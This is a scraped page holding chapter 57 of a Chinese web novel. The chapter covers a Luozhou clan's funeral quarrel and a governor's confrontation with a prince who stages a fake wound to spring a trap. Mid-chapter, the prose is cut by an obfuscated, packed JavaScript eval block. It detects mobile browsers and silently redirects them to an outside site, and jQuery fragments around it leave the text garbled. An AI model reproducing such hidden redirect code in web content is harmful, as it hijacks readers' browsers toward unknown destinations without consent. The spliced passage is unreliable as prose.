默认冷灰
24号文字
方正启体

57.第 57 章

作者:碧磬禧本书字数:K更新时间:
    教授语录:被压埋的巨龙总有冲破石锁,一飞冲天的时候。


    就在虞炎死后,洛州城的南门被打开。


    一辆由四匹马拉就的马车朝城外的天地奔去。留下一地深深的痕迹,标示着它的轨迹。


    这辆马车后面跟着三辆马车,它们被裹得严严实实的,很快融进了夜里。


    可能太过颠簸,马车里的孩子吐了。孩子的母亲不得不掀开了车帘让孩子透透气。孩子透过掀开的缝隙遥望渐行渐远的洛州城。


    “娘,我们走了,爹爹怎么办?”


    那孩子的母亲把孩子抱得更紧了些,在黑暗里流下让人不察的泪水。


    孩子的头发沾染了泪水,他抬头问道:“娘,我们会回来的对吧?”


    黑暗里无人应答,只有烈烈的风声不断呜咽着。


    夹着生离死别的风,无声地吹过高墙,吹入城内,吹起虞府门前一排排白灯笼。


    随着虞天悯一句霸气质问,所有虞家的奴仆都噤了声,他们人虽趴着,心却不服得很。


    董梅懂他们,过来拉虞天悯道:“是我逾距了,与他们无关。”


    虞天悯从小吃够了这些恶仆的亏,明白对于他们不必讲什么道理,他们听不懂。


    他们只懂慕强,这个家里谁强,有势力,他们便会听他使唤。


    所以当他重回虞家执掌虞家大权后,他们面子上虽尊着虞伯宪这个宗主,可暗地里却处处躲着他,把他的行踪报告给虞天悯,这个家里的掌权者。


    这才是他们的生存之道。


    一个女子咳嗽声打破了此时所有人绷紧的弦。


    虞天悯转头看去,原来真的是她,董梅的姐姐虞董氏。


    作为虞炎的母亲,作为宗主的夫人,她本该为虞炎操办一场盛大的葬礼。但是仆人们的趋炎附势她是知道的,所以她故意拉着董梅来给自己撑腰。没想到还是一样的结局。


    还好绿萍喊来了虞天悯。她才松了一口气,她相信虞天悯不会看着董梅受委屈的。


    虞天悯看穿了她的算计,鄙夷一笑。他不想遂她的愿,便拉着董梅离开。


    董梅却卸下他的拉扯道:“与我姐姐无关,是我自己要管的。再说虞炎不是你侄子吗?你怎么忍心他被草草收葬?”


    虞天悯愣住了,原来她早就看穿了一切。


    但是她不在乎,她想为他做些事,想替他分忧,想操持虞炎的葬礼,因为她知道虞炎对他很重要。


    那一刻的他那濒死的心又重新跳了起来,他不顾礼数的一把拉过董梅的手,满含感激的说不出话来。


    董梅被他眼中的火焰灼了一下,无情地抽出了手,低眉垂眸道:“我这是帮我姐姐,帮我那可怜的外甥。”


    那沸腾的心,虽被泼了盆冷水,但是余温尚存。


    “小姐想做的事,我自当替小姐做好。”


    虞天悯低头说完,他转头对跪在地上的虞家仆从道:


    “从今天起,葬礼和府中一切事宜都听董家小姐的,谁若不服,给我立马滚出虞府。我虞天悯见不得对我小姐不敬之人。”


    这番仆人维护主子的宣言听得满地的仆从吃惊得抬起头来,他们不敢相信自己霸道的主子居然是这么乖顺的仆从。这让他们对自己的身份和定位产生了深刻的怀疑。


    此时成了众矢之的的董梅努了努嘴,她抬眼看着虞天悯,坚定地道:


    “你不是我的仆人,你是虞家真正的主人,只有你配这个虞家之主的位子。只有你才能带领虞家走出这片阴霾。不要再在我面前俯下身来,你有值得我和全天下人仰望的高度和气魄。”


    这话让虞天悯愣了很久,他突然直了直背,像一个被压缩扭曲许久的面团突然高大膨胀了起来。他那伟岸的身影被光拉的极长,黑黑地笼罩了所有人。


    而另一边的都督府的内院里,终于迎来了他们等候已久的客人。


    但一层明黄色的纱帐却搁在屋子中间。纱帐后面点了很多灯,有种富丽堂皇又亦幻亦真的感觉。


    崔向南最恨这种朦朦胧胧又看不透的感觉,恨不能上前给这纱帐捅个窟窿来。


    很快纱帐后白脸太监吃力得抱了个脚下虚浮,身着白色里衣的人出来。这时他才突然明白这纱帐的好了,再苍白的人也能被染个金色,不至于失了体面。


    那个平日里娇惯跋扈的小王爷今天可真老实,如一个木头一般被刘青这般抱着放倒在榻上。


    放好后,刘青又是拿垫子,又是找丝帕子。待他一旁站定时,早已是衣服湿了大半了。他一边擦着汗,一边道:“崔大人,小人的衣服全湿了,我去换一身衣服再来。”


    刘青走后,崔向南立刻站到纱帐前。


    傅从奕觉得不妥,上前拉了拉他的袖子,但崔向南却站着不动了,他嘴角压不住的笑了起来,也有你今天。


    纱帐后的静睿王斜斜得躺在榻上,白布包裹着半个头。有一只眼睛虽被包着却到现在还在渗血,另一只眼睛明显用眼过度,此时正在闭目养神。


    可能是失血过度,他呼吸显得十分吃力,仿佛下一刻就要归西了一般。


    傅从奕见拉不动崔向南,抬头一瞥,吓了一跳,关切的问:“王爷怎么伤成这样?”


    静睿王吃力的抿了抿干涸的嘴唇,刚想张开,似被什么呛到了,咳嗽了起来。他咳得不响,却浑身颤抖,急的换了一半衣服的刘青赶了过来,扶着他的主子道:“傅大人别问了。”说完那眼泪便如断线的珠子,颗颗滑落。他委屈得拿着穿了一半的袖子,抹了起来。


    傅从奕自不敢问了,崔向南却不好糊弄,“如今王爷受了这么重的伤,你还想隐瞒搪塞,王爷要是有什么三长两短,你能担待得起的吗?还不速速说来。”


    这一声震呵让刘青吓得立刻跪在了地上瑟瑟发抖。


    见这对平日里张狂的主仆今日如此脆弱可欺,崔向南第一次觉得得意。


    他一把掀开了金色的纱帐,走了进去。


    跪在地上的刘青立刻抱住他的大腿,“崔都督,不可以,不可以。”


    崔向南一脚甩开了他的手,坐到了静睿王的榻边。他凑过去闻到一股血腥味,觉得分外满意,便笑着道:


    “我那东门最近发生了一起刺杀案,死得是洛州门阀虞家的嫡子。我们本以为他是被藏在马车后的和尚所杀,但经仵作验过尸身后,我们才发现他死于暗夜里射来的冷箭。”


    说完,他突然想起了什么,拍了拍大腿道:“王爷最善射术对吧?我怎么忘了银月宴那一夜,于空中射燃烟火的绝技,当时可是艳惊四座。”说完他故意拍了拍静睿王的腿。


    刘青一听脸色一白,起身跪到静睿王面前,用身体挡着他的主子道:“崔都督你有什么证据,竟敢污蔑我家王爷。”


    崔向南一听站起,继续缓缓道:“那一夜,那个凶手杀了虞家嫡子后,突然发现冒出来一个和尚,便想着杀了,以绝后患。但没想到,这个和尚是个练架子。在空中就截住了射杀的箭矢,单靠这手指一转,便来了个反杀。”说完他兴奋地看了看倒在榻上那个眼睛上有个血窟窿的静睿王,笑的更加猖狂了些。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971715|167342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“第二日,我们便找到那个射箭之人的位置。在附近发现不少血迹,凶顽应该负了伤。为此,我们锁定了洛州城所有药店,但万万没想到,这府里小王爷的伤竟伤得如此巧合。”


    崔向南这边刚说完,傅从奕便呵斥道:“崔都督不可妄言。”


    崔向南抿嘴一笑,对静睿王道:“王爷,你好好养着,虞家那里我自会替你瞒着。”说完脸色一冷,掀起金色的帘子打算走了。


    就在金色帘幕恢复原状,重新隔开两个世界后,卧榻上响起微弱的声音,“崔都督就那么肯定是孤吗?”


    这话让崔向南不由的回过头去,不可置信的看着金纱帐内那眼睛都抬不动的人。


    此时金纱帐内的小王爷缓缓坐起身子,轻轻地问了刘青一句,“他们准备好了吗?”


    “刚刚奴才出去看过了,马上可以收网了。”


    这句虽轻却让崔向南听了个清清楚楚,他不可思议地看向已经整个人坐起的静睿王道:


    “你这是在干什么?”


    静睿王一听,觉得也没有装的必要了,笑着掀开那还带着血渍的白色布条,露出他那闪烁着得意光芒的眼睛。他陡然站起,从榻上寻了件袍子随意披着,如花蝴蝶般向崔向南面前走去。


    “我在替都督抓贼呀,都督不该谢我吗?我可是在替都督你洗脱嫌疑哦。”


    “非我所杀,什么嫌疑。”


    静睿王拿起一只玉钗开始挽头发,“你有没有事先打算,你自己心里清楚。你现在全城追捕那个和尚不过是个替死鬼,是你用来搪塞虞家的,不是吗?”


    他一边束发,一边用发钗戳了戳崔向南道:“崔都督,我们都明白谁杀得不重要,重要得是个交代。我今天便让你白得这个交代。”


    “你这是……”


    “你不给耗子上点饵,他怎么会入你的局呢。”


    原来这是给嘉鱼特意定制的一场表演,除了静睿王和刘青,其他人都无心的成了他们的助演,只为让嘉鱼相信那一夜的黑衣人正是这擅射术的静睿王。


    “你会那么好心?”崔向南有些不可置信。


    此刻已经梳妆完毕的静睿王腼腆地笑着答道:“毕竟我住这,该为都督献力。”


    崔向南还思索着有什么地方不对,傅从奕却朗声喝问道:“你哪里来的兵,怎么去抓他?”


    静睿王重重地吸了一口气,不知是否是仙气,他的身体立刻膨胀了起来,变得高大而宽阔。


    他侧头低眉道:“自然是府里的兵,我的兵。”


    崔向南一听,拿起了手中的剑警惕道:“这里是都督府,是我的地方,你哪里来的兵?”


    静睿王似乎懒得解释,他重新走进金纱帐内,坐在他那金色锦缎堆叠的榻上,故意弯起一条腿用他那玉色的脚踩在金色绸缎上,一只手随意得搭那弯起腿的膝盖上,显得粗鄙而霸气。


    “我是王,这洛州城都是我的,何况这都督府!”


    崔向南拔出剑来直指他道:“猖狂小儿,我给你脸了……”他下一句还没说出,几个府里的侍卫已经冲了进来,来到他面前,团团围住金纱帐。


    就在崔向南想笑这小王无知之时,那群侍卫抽出刀尖齐齐对准了他。


    他回头一看,才发现傅从奕已经被人捆住。


    他气得举刀大喝:“我还有城东和城南两处兵马,你敌得过吗?聪明的,给我跪地求饶。”


    那金纱帐内的人果然站了起来,碎步走了过来。但他还未跪下,便听外面人喊:


    “抓到了,抓到了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)